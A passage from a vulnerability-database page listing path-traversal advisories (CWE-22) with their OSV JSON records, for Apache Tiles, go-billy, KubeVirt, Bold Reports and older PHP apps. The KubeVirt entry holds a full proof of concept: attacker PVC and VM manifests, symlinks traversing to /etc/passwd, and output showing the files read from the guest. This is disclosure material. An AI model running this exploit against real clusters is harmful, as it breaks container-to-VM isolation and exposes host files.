CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13273 vulnerabilities reference this CWE, most recent first.
GHSA-QW4H-3XJJ-84CC
Vulnerability from github – Published: 2023-12-01 00:31 – Updated: 2025-11-04 18:12The value set as the DefaultLocaleResolver.LOCALE_KEY attribute on the session was not validated while resolving XML definition files, leading to possible path traversal and eventually SSRF/XXE when passing user-controlled data to this key. Passing user-controlled data to this key may be relatively common, as it was also used like that to set the language in the 'tiles-test' application shipped with Tiles.
This issue affects Apache Tiles from version 2 onwards.
NOTE: This vulnerability only affects products that are no longer supported by the maintainer.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tiles:tiles-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.struts:struts-tiles"
},
"ranges": [
{
"events": [
{
"introduced": "1.3.0"
},
{
"last_affected": "1.3.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "struts:struts"
},
"ranges": [
{
"events": [
{
"introduced": "1.1"
},
{
"last_affected": "1.2.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-49735"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-776"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-11T21:45:42Z",
"nvd_published_at": "2023-11-30T22:15:09Z",
"severity": "HIGH"
},
"details": "The value set as the DefaultLocaleResolver.LOCALE_KEY attribute on the session was not validated while resolving XML definition files, leading to possible path traversal and eventually SSRF/XXE when passing user-controlled data to this key. Passing user-controlled data to this key may be relatively common, as it was also used like that to set the language in the \u0027tiles-test\u0027 application shipped with Tiles.\n\nThis issue affects Apache Tiles from version 2 onwards.\n\nNOTE: This vulnerability only affects products that are no longer supported by the maintainer.",
"id": "GHSA-qw4h-3xjj-84cc",
"modified": "2025-11-04T18:12:32Z",
"published": "2023-12-01T00:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49735"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/tiles"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/8ktm4vxr6vvc1qsxh6ft8jzmom1zl65p"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Apache Tiles: Unvalidated input may lead to path traversal and XXE"
}
GHSA-QW4M-F928-RMXW
Vulnerability from github – Published: 2022-05-17 02:08 – Updated: 2022-05-17 02:08Directory traversal vulnerability in the MT Fire Eagle (com_mtfireeagle) component 1.2 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
{
"affected": [],
"aliases": [
"CVE-2010-1719"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-05-04T16:00:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in the MT Fire Eagle (com_mtfireeagle) component 1.2 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.",
"id": "GHSA-qw4m-f928-rmxw",
"modified": "2022-05-17T02:08:23Z",
"published": "2022-05-17T02:08:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1719"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/57850"
},
{
"type": "WEB",
"url": "http://osvdb.org/63806"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.org/1004-exploits/joomlamtfireeagle-lfi.txt"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/39470"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/12233"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/39509"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-QW5J-33PH-5PX7
Vulnerability from github – Published: 2024-11-05 12:31 – Updated: 2024-11-07 12:30In 2N Access Commander versions 3.1.1.2 and prior, a Path Traversal vulnerability could allow an attacker with administrative privileges to write files on the filesystem and potentially achieve arbitrary remote code execution. This vulnerability cannot be exploited by users with lower privilege roles.
{
"affected": [],
"aliases": [
"CVE-2024-47253"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-05T10:20:03Z",
"severity": "HIGH"
},
"details": "In 2N Access Commander versions 3.1.1.2 and prior, a Path Traversal vulnerability could allow an attacker with administrative privileges to write files on the filesystem and potentially achieve arbitrary remote code execution. This vulnerability cannot be exploited by users with lower privilege roles.",
"id": "GHSA-qw5j-33ph-5px7",
"modified": "2024-11-07T12:30:34Z",
"published": "2024-11-05T12:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47253"
},
{
"type": "WEB",
"url": "https://www.2n.com/en-GB/about-2n/cybersecurity"
},
{
"type": "WEB",
"url": "https://www.2n.com/en-GB/download/Access-Commander-Security-Advisory-2024-11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QW64-3X98-G7Q2
Vulnerability from github – Published: 2026-05-14 18:25 – Updated: 2026-06-09 10:26Impact
Multiple path traversal issues exist across different components of go-billy. Insufficient path sanitization and boundary enforcement may allow crafted paths (e.g., using ..) to escape intended base directories.
While go-billy was not originally designed to provide a strong security boundary, some of these issues were inconsistent across some of the built-in implementations. This results in scenarios where applications relying on go-billy for some level of isolation may inadvertently expose access to unintended filesystem locations.
The osfs.ChrootOS implementation is notably affected by this vulnerability and is now deprecated in v5, removed at v6. Users are recommended to move on to osfs.BoundOS instead: osfs.New(path, WithBoundOS()).
Users requiring stronger security boundary enforcement are recommended to upgrade to v6, where the osfs implementation are backed by the traversal-resistant primitive os.Root.
Patches
Users should upgrade to a patched version in order to mitigate this vulnerability. Versions prior to v5 are likely to be affected, users are recommended to upgrade to a supported go-billy version.
Credits
Thanks to @faran66 and @vnykmshr for finding and separately reporting this issue privately to the go-git project. 🙇
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-git/go-billy/v5"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.9.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-git/go-billy/v6"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.0.0-alpha.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44973"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T18:25:38Z",
"nvd_published_at": "2026-05-28T22:16:59Z",
"severity": "HIGH"
},
"details": "### Impact\nMultiple path traversal issues exist across different components of `go-billy`. Insufficient path sanitization and boundary enforcement may allow crafted paths (e.g., using `..`) to escape intended base directories.\n\nWhile go-billy was not originally designed to provide a strong security boundary, some of these issues were inconsistent across some of the built-in implementations. This results in scenarios where applications relying on `go-billy` for some level of isolation may inadvertently expose access to unintended filesystem locations.\n\nThe `osfs.ChrootOS` implementation is notably affected by this vulnerability and is now deprecated in `v5`, removed at `v6`. Users are recommended to move on to `osfs.BoundOS` instead: `osfs.New(path, WithBoundOS())`.\n\nUsers requiring stronger security boundary enforcement are recommended to upgrade to `v6`, where the `osfs` implementation are backed by the [traversal-resistant](https://go.dev/blog/osroot) primitive [os.Root](https://pkg.go.dev/os#Root).\n\n### Patches\nUsers should upgrade to a patched version in order to mitigate this vulnerability. Versions prior to `v5` are likely to be affected, users are recommended to upgrade to a supported `go-billy` version.\n\n### Credits\nThanks to @faran66 and @vnykmshr for finding and separately reporting this issue privately to the go-git project. \ud83d\ude47",
"id": "GHSA-qw64-3x98-g7q2",
"modified": "2026-06-09T10:26:27Z",
"published": "2026-05-14T18:25:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-git/go-billy/security/advisories/GHSA-qw64-3x98-g7q2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44973"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-git/go-billy"
},
{
"type": "WEB",
"url": "https://github.com/go-git/go-billy/releases/tag/v5.9.0"
},
{
"type": "WEB",
"url": "https://github.com/go-git/go-billy/releases/tag/v6.0.0-alpha.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "go-billy has path traversal vulnerabilities"
}
GHSA-QW66-8H8F-7PHH
Vulnerability from github – Published: 2026-07-23 15:30 – Updated: 2026-07-23 15:30Bold Reports Standalone Report Designer before 14.1.12 contains a missing filepath validation vulnerability in its database download feature that allows unauthenticated attackers to read arbitrary files from the server filesystem by supplying a crafted request. Attackers can exploit this path traversal weakness to disclose sensitive server files, including authentication credentials, enabling full unauthorized access to the application.
{
"affected": [],
"aliases": [
"CVE-2026-65689"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-23T14:18:03Z",
"severity": "CRITICAL"
},
"details": "Bold Reports Standalone Report Designer before 14.1.12 contains a missing filepath validation vulnerability in its database download feature that allows unauthenticated attackers to read arbitrary files from the server filesystem by supplying a crafted request. Attackers can exploit this path traversal weakness to disclose sensitive server files, including authentication credentials, enabling full unauthorized access to the application.",
"id": "GHSA-qw66-8h8f-7phh",
"modified": "2026-07-23T15:30:55Z",
"published": "2026-07-23T15:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65689"
},
{
"type": "WEB",
"url": "https://www.boldreports.com/resources/release-history/standalone-report-designer/14-1#14-1-12"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/bold-reports-standalone-report-designer-arbitrary-file-read-via-database-download"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-QW6Q-3PGR-5CWQ
Vulnerability from github – Published: 2025-11-06 23:33 – Updated: 2025-11-17 21:41Summary
_Short summary of the problem. Make the impact and severity as clear as possible.
Mounting a user-controlled PVC disk within a VM allows an attacker to read any file present in the virt-launcher pod. This is due to erroneous handling of symlinks defined within a PVC.
Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
A vulnerability was discovered that allows a VM to read arbitrary files from the virt-launcher pod's file system. This issue stems from improper symlink handling when mounting PVC disks into a VM. Specifically, if a malicious user has full or partial control over the contents of a PVC, they can create a symbolic link that points to a file within the virt-launcher pod's file system. Since libvirt can treat regular files as block devices, any file on the pod's file system that is symlinked in this way can be mounted into the VM and subsequently read.
Although a security mechanism exists where VMs are executed as an unprivileged user with UID 107 inside the virt-launcher container, limiting the scope of accessible resources, this restriction is bypassed due to a second vulnerability (TODO: put link here). The latter causes the ownership of any file intended for mounting to be changed to the unprivileged user with UID 107 prior to mounting. As a result, an attacker can gain access to and read arbitrary files located within the virt-launcher pod's file system or on a mounted PVC from within the guest VM.
PoC
Complete instructions, including specific configuration details, to reproduce the vulnerability.
Consider that an attacker has control over the contents of two PVC (e.g., from within a container) and creates the following symlinks:
# The YAML definition of two PVCs that the attacker has access to
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: pvc-arbitrary-container-read-1
spec:
accessModes:
- ReadWriteMany # suitable for migration (:= RWX)
resources:
requests:
storage: 500Mi
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: pvc-arbitrary-container-read-2
spec:
accessModes:
- ReadWriteMany # suitable for migration (:= RWX)
resources:
requests:
storage: 500Mi
---
# The attacker-controlled container used to create the symlinks in the above PVCs
apiVersion: v1
kind: Pod
metadata:
name: dual-pvc-pod
spec:
containers:
- name: app-container
image: alpine
command: ["/some-vulnerable-app"]
volumeMounts:
- name: pvc-volume-one
mountPath: /mnt/data1
- name: pvc-volume-two
mountPath: /mnt/data2
volumes:
- name: pvc-volume-one
persistentVolumeClaim:
claimName: pvc-arbitrary-container-read-1
- name: pvc-volume-two
persistentVolumeClaim:
claimName: pvc-arbitrary-container-read-2
By default, Minikube's storage controller (hostpath-provisioner) will allocate the claim as a directory on the host node (HostPath). Once the above Kubernetes resources are created, the user can create the symlinks within the PVC as follows:
# Using the `pvc-arbitrary-container-read-1` PVC we want to read the default XML configuration generated by `virt-launcher` for `libvirt`. Hence, the attacker has to create a symlink including the name of the future VM which will be created using this configuration.
attacker@dual-pvc-pod:/mnt/data1 $ln -s ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml disk.img
attacker@dual-pvc-pod:/mnt/data1 $ls -l
lrwxrwxrwx 1 root root 85 May 19 22:24 disk.img -> ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml
# With the `pvc-arbitrary-container-read-2` we want to read the `/etc/passwd` of the `virt-launcher` container which will launch the future VM
attacker@dual-pvc-pod:/mnt/data2 $ln -s ../../../../../../../../etc/passwd disk.img
attacker@dual-pvc-pod:/mnt/data2 $ls -l
lrwxrwxrwx 1 root root 34 May 19 22:26 disk.img -> ../../../../../../../../etc/passwd
Of course, these links could potentially be broken as the files, especially default_arbitrary-container-read.xml, could not exist on the dual-pvc-pod pod's file system. The attacker then deploy the following VM:
# arbitrary-container-read.yaml
apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
name: arbitrary-container-read
spec:
runStrategy: Always
template:
metadata:
labels:
kubevirt.io/size: small
kubevirt.io/domain: arbitrary-container-read
spec:
domain:
devices:
disks:
- name: containerdisk
disk:
bus: virtio
- name: pvc-1
disk:
bus: virtio
- name: pvc-2
disk:
bus: virtio
- name: cloudinitdisk
disk:
bus: virtio
interfaces:
- name: default
masquerade: {}
resources:
requests:
memory: 64M
networks:
- name: default
pod: {}
volumes:
- name: containerdisk
containerDisk:
image: quay.io/kubevirt/cirros-container-disk-demo
- name: pvc-1
persistentVolumeClaim:
claimName: pvc-arbitrary-container-read-1
- name: pvc-2
persistentVolumeClaim:
claimName: pvc-arbitrary-container-read-2
- name: cloudinitdisk
cloudInitNoCloud:
userDataBase64: SGkuXG4=
The two PVCs will be mounted as volumes in "filesystem" mode:
From the documentation of the different volume modes, one can infer that if the backing disk.img is not owned by the unprivileged user with UID 107, the VM should fail to mount it. In addition, it's expected that this backing file is in RAW format. While this format can contain pretty much anything, we consider that being able to mount a file from the file system of virt-launcher is not the expected behaviour. Below is demonstrated that after applying the VM manifest, the guest can read the /etc/passwd and default_migration.xml files from the virt-launcher pod's file system:
# Deploy the VM manifest
operator@minikube:~$ kubectl apply -f arbitrary-container-read.yaml
virtualmachine.kubevirt.io/arbitrary-container-read created
# Observe the deployment status
operator@minikube:~$ kubectl get vmis
NAME AGE PHASE IP NODENAME READY
arbitrary-container-read 80s Running 10.244.1.9 minikube-m02 True
# Initiate a console connection to the running VM
operator@minikube:~$ virtctl console arbitrary-container-read
# Within the `arbitrary-container-read` VM, inspect the available block devices
root@arbitrary-container-read:~$ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
vda 253:0 0 44M 0 disk
|-vda1 253:1 0 35M 0 part /
-vda15 253:15 0 8M 0 part
vdb 253:16 0 20K 0 disk
vdc 253:32 0 512B 0 disk
vdd 253:48 0 1M 0 disk
# Inspect the mounted /etc/passwd of the `virt-launcher` pod
root@arbitrary-container-read:~$ cat /dev/vdc
qemu:x:107:107:user:/home/qemu:/bin/bash
root:x:0:0:root:/root:/bin/bash
# Inspect the mounted `default_migration.xml` of the `virt-launcher` pod
root@arbitrary-container-read:~$ cat /dev/vdb | head -n 20
<!--
WARNING: THIS IS AN AUTO-GENERATED FILE. CHANGES TO IT ARE LIKELY TO BE
OVERWRITTEN AND LOST. Changes to this xml configuration should be made using:
virsh edit default_arbitrary-container-read
or other application using the libvirt API.
-->
<domstatus state='paused' reason='starting up' pid='80'>
<monitor path='/var/run/kubevirt-private/libvirt/qemu/lib/domain-1-default_arbitrary-co/monitor.sock' type='unix'/>
<vcpus>
</vcpus>
<qemuCaps>
<flag name='hda-duplex'/>
<flag name='piix3-usb-uhci'/>
<flag name='piix4-usb-uhci'/>
<flag name='usb-ehci'/>
<flag name='ich9-usb-ehci1'/>
<flag name='usb-redir'/>
<flag name='usb-hub'/>
<flag name='ich9-ahci'/>
operator@minikube:~$ kubectl get pods
NAME READY STATUS RESTARTS AGE
dual-pvc-pod 1/1 Running 0 20m
virt-launcher-arbitrary-container-read-tn4mb 3/3 Running 0 15m
# Inspect the contents of the `/etc/passwd` file of the `virt-launcher` pod attached to the VM
operator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- cat /etc/passwd
qemu:x:107:107:user:/home/qemu:/bin/bash
root:x:0:0:root:/root:/bin/bash
# Inspect the ownership of the `/etc/passwd` file of the ` virt-launcher` pod
operator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- ls -al /etc/passwd
-rw-r--r--. 1 qemu qemu 73 Jan 1 1970 /etc/passwd
Impact
What kind of vulnerability is it? Who is impacted?
This vulnerability breaches the container-to-VM isolation boundary, compromising the confidentiality of storage data.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "kubevirt.io/kubevirt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "kubevirt.io/kubevirt"
},
"ranges": [
{
"events": [
{
"introduced": "1.6.0-alpha.0"
},
{
"fixed": "1.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-64433"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-06T23:33:33Z",
"nvd_published_at": "2025-11-07T23:15:45Z",
"severity": "MODERATE"
},
"details": "### Summary\n_Short summary of the problem. Make the impact and severity as clear as possible.\n\nMounting a user-controlled PVC disk within a VM allows an attacker to read any file present in the `virt-launcher` pod. This is due to erroneous handling of symlinks defined within a PVC.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\nA vulnerability was discovered that allows a VM to read arbitrary files from the `virt-launcher` pod\u0027s file system. This issue stems from improper symlink handling when mounting PVC disks into a VM. Specifically, if a malicious user has full or partial control over the contents of a PVC, they can create a symbolic link that points to a file within the `virt-launcher` pod\u0027s file system. Since `libvirt` can treat regular files as block devices, any file on the pod\u0027s file system that is symlinked in this way can be mounted into the VM and subsequently read.\n\nAlthough a security mechanism exists where VMs are executed as an unprivileged user with UID `107` inside the `virt-launcher` container, limiting the scope of accessible resources, this restriction is bypassed due to a second vulnerability (TODO: put link here). The latter causes the ownership of any file intended for mounting to be changed to the unprivileged user with UID `107` prior to mounting. As a result, an attacker can gain access to and read arbitrary files located within the `virt-launcher` pod\u0027s file system or on a mounted PVC from within the guest VM.\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\nConsider that an attacker has control over the contents of two PVC (e.g., from within a container) and creates the following symlinks:\n\n```yaml\n# The YAML definition of two PVCs that the attacker has access to\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n name: pvc-arbitrary-container-read-1\nspec:\n accessModes:\n - ReadWriteMany # suitable for migration (:= RWX)\n resources:\n requests:\n storage: 500Mi\n---\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n name: pvc-arbitrary-container-read-2\nspec:\n accessModes:\n - ReadWriteMany # suitable for migration (:= RWX)\n resources:\n requests:\n storage: 500Mi\n---\n# The attacker-controlled container used to create the symlinks in the above PVCs\napiVersion: v1\nkind: Pod\nmetadata:\n name: dual-pvc-pod\nspec:\n containers:\n - name: app-container\n image: alpine\n command: [\"/some-vulnerable-app\"]\n volumeMounts:\n - name: pvc-volume-one\n mountPath: /mnt/data1\n - name: pvc-volume-two\n mountPath: /mnt/data2\n volumes:\n - name: pvc-volume-one\n persistentVolumeClaim:\n claimName: pvc-arbitrary-container-read-1\n - name: pvc-volume-two\n persistentVolumeClaim:\n claimName: pvc-arbitrary-container-read-2\n```\n\nBy default, Minikube\u0027s storage controller (`hostpath-provisioner`) will allocate the claim as a directory on the host node (`HostPath`). Once the above Kubernetes resources are created, the user can create the symlinks within the PVC as follows:\n\n```bash\n# Using the `pvc-arbitrary-container-read-1` PVC we want to read the default XML configuration generated by `virt-launcher` for `libvirt`. Hence, the attacker has to create a symlink including the name of the future VM which will be created using this configuration.\n\nattacker@dual-pvc-pod:/mnt/data1 $ln -s ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml disk.img\nattacker@dual-pvc-pod:/mnt/data1 $ls -l\nlrwxrwxrwx 1 root root 85 May 19 22:24 disk.img -\u003e ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml\n\n# With the `pvc-arbitrary-container-read-2` we want to read the `/etc/passwd` of the `virt-launcher` container which will launch the future VM\nattacker@dual-pvc-pod:/mnt/data2 $ln -s ../../../../../../../../etc/passwd disk.img \nattacker@dual-pvc-pod:/mnt/data2 $ls -l\nlrwxrwxrwx 1 root root 34 May 19 22:26 disk.img -\u003e ../../../../../../../../etc/passwd\n```\n\nOf course, these links could potentially be broken as the files, especially `default_arbitrary-container-read.xml`, could not exist on the `dual-pvc-pod` pod\u0027s file system. The attacker then deploy the following VM:\n\n```yaml\n# arbitrary-container-read.yaml\napiVersion: kubevirt.io/v1\nkind: VirtualMachine\nmetadata:\n name: arbitrary-container-read\nspec:\n runStrategy: Always\n template:\n metadata:\n labels:\n kubevirt.io/size: small\n kubevirt.io/domain: arbitrary-container-read\n spec:\n domain:\n devices:\n disks:\n - name: containerdisk\n disk:\n bus: virtio\n - name: pvc-1\n disk:\n bus: virtio\n - name: pvc-2\n disk:\n bus: virtio\n - name: cloudinitdisk\n disk:\n bus: virtio\n interfaces:\n - name: default\n masquerade: {}\n resources:\n requests:\n memory: 64M\n networks:\n - name: default\n pod: {}\n volumes:\n - name: containerdisk\n containerDisk:\n image: quay.io/kubevirt/cirros-container-disk-demo\n - name: pvc-1\n persistentVolumeClaim:\n claimName: pvc-arbitrary-container-read-1\n - name: pvc-2\n persistentVolumeClaim:\n claimName: pvc-arbitrary-container-read-2\n - name: cloudinitdisk\n cloudInitNoCloud:\n userDataBase64: SGkuXG4=\n```\n\nThe two PVCs will be mounted as volumes in \"filesystem\" mode: \n\nFrom the [documentation](https://kubevirt.io/user-guide/storage/disks_and_volumes/#persistentvolumeclaim) of the different volume modes, one can infer that if the backing `disk.img` is not owned by the unprivileged user with UID `107`, the VM should fail to mount it. In addition, it\u0027s expected that this backing file is in [RAW format](https://www.qemu.org/docs/master/tools/qemu-img.html#notes). While this format can contain pretty much anything, we consider that being able to mount a file from the file system of `virt-launcher` is not the expected behaviour. Below is demonstrated that after applying the VM manifest, the guest can read the `/etc/passwd` and `default_migration.xml` files from the `virt-launcher` pod\u0027s file system: \n\n```bash\n# Deploy the VM manifest\noperator@minikube:~$ kubectl apply -f arbitrary-container-read.yaml\nvirtualmachine.kubevirt.io/arbitrary-container-read created\n# Observe the deployment status\noperator@minikube:~$ kubectl get vmis\nNAME AGE PHASE IP NODENAME READY\narbitrary-container-read 80s Running 10.244.1.9 minikube-m02 True\n# Initiate a console connection to the running VM\noperator@minikube:~$ virtctl console arbitrary-container-read\n```\n\n```bash\n# Within the `arbitrary-container-read` VM, inspect the available block devices\nroot@arbitrary-container-read:~$ lsblk\nNAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT\nvda 253:0 0 44M 0 disk\n|-vda1 253:1 0 35M 0 part /\n-vda15 253:15 0 8M 0 part\nvdb 253:16 0 20K 0 disk\nvdc 253:32 0 512B 0 disk\nvdd 253:48 0 1M 0 disk\n# Inspect the mounted /etc/passwd of the `virt-launcher` pod\nroot@arbitrary-container-read:~$ cat /dev/vdc\nqemu:x:107:107:user:/home/qemu:/bin/bash\nroot:x:0:0:root:/root:/bin/bash\n# Inspect the mounted `default_migration.xml` of the `virt-launcher` pod\nroot@arbitrary-container-read:~$ cat /dev/vdb | head -n 20\n\u003c!--\nWARNING: THIS IS AN AUTO-GENERATED FILE. CHANGES TO IT ARE LIKELY TO BE\nOVERWRITTEN AND LOST. Changes to this xml configuration should be made using:\n virsh edit default_arbitrary-container-read\nor other application using the libvirt API.\n--\u003e\n\u003cdomstatus state=\u0027paused\u0027 reason=\u0027starting up\u0027 pid=\u002780\u0027\u003e\n \u003cmonitor path=\u0027/var/run/kubevirt-private/libvirt/qemu/lib/domain-1-default_arbitrary-co/monitor.sock\u0027 type=\u0027unix\u0027/\u003e\n \u003cvcpus\u003e\n \u003c/vcpus\u003e\n \u003cqemuCaps\u003e\n \u003cflag name=\u0027hda-duplex\u0027/\u003e\n \u003cflag name=\u0027piix3-usb-uhci\u0027/\u003e\n \u003cflag name=\u0027piix4-usb-uhci\u0027/\u003e\n \u003cflag name=\u0027usb-ehci\u0027/\u003e\n \u003cflag name=\u0027ich9-usb-ehci1\u0027/\u003e\n \u003cflag name=\u0027usb-redir\u0027/\u003e\n \u003cflag name=\u0027usb-hub\u0027/\u003e\n \u003cflag name=\u0027ich9-ahci\u0027/\u003e\n```\n\n```bash\noperator@minikube:~$ kubectl get pods\nNAME READY STATUS RESTARTS AGE\ndual-pvc-pod 1/1 Running 0 20m\nvirt-launcher-arbitrary-container-read-tn4mb 3/3 Running 0 15m\n# Inspect the contents of the `/etc/passwd` file of the `virt-launcher` pod attached to the VM\noperator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- cat /etc/passwd\nqemu:x:107:107:user:/home/qemu:/bin/bash\nroot:x:0:0:root:/root:/bin/bash \n\n# Inspect the ownership of the `/etc/passwd` file of the ` virt-launcher` pod \noperator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- ls -al /etc/passwd\n-rw-r--r--. 1 qemu qemu 73 Jan 1 1970 /etc/passwd\n```\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nThis vulnerability breaches the container-to-VM isolation boundary, compromising the confidentiality of storage data.",
"id": "GHSA-qw6q-3pgr-5cwq",
"modified": "2025-11-17T21:41:09Z",
"published": "2025-11-06T23:33:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/security/advisories/GHSA-qw6q-3pgr-5cwq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64433"
},
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/commit/09eafa068ec01eca0e96ebafeeb9522a878dbf64"
},
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/commit/9dc798cb1efe924a9a2b97b6e016452dec5e3849"
},
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/commit/a81b27d4600cf654274dd197119658382affdb08"
},
{
"type": "PACKAGE",
"url": "https://github.com/kubevirt/kubevirt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "KubeVirt Arbitrary Container File Read "
}
GHSA-QW7R-FGV9-5GGC
Vulnerability from github – Published: 2022-05-01 23:32 – Updated: 2022-05-01 23:32Multiple directory traversal vulnerabilities in sflog! 0.96 allow remote attackers to read arbitrary files via a .. (dot dot) in the (1) permalink or (2) section parameter to index.php, possibly involving includes/entries.inc.php and other files included by index.php.
{
"affected": [],
"aliases": [
"CVE-2008-0703"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-02-12T01:00:00Z",
"severity": "MODERATE"
},
"details": "Multiple directory traversal vulnerabilities in sflog! 0.96 allow remote attackers to read arbitrary files via a .. (dot dot) in the (1) permalink or (2) section parameter to index.php, possibly involving includes/entries.inc.php and other files included by index.php.",
"id": "GHSA-qw7r-fgv9-5ggc",
"modified": "2022-05-01T23:32:33Z",
"published": "2022-05-01T23:32:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0703"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/40115"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/5027"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/3629"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/487368/100/0/threaded"
},
{
"type": "WEB",
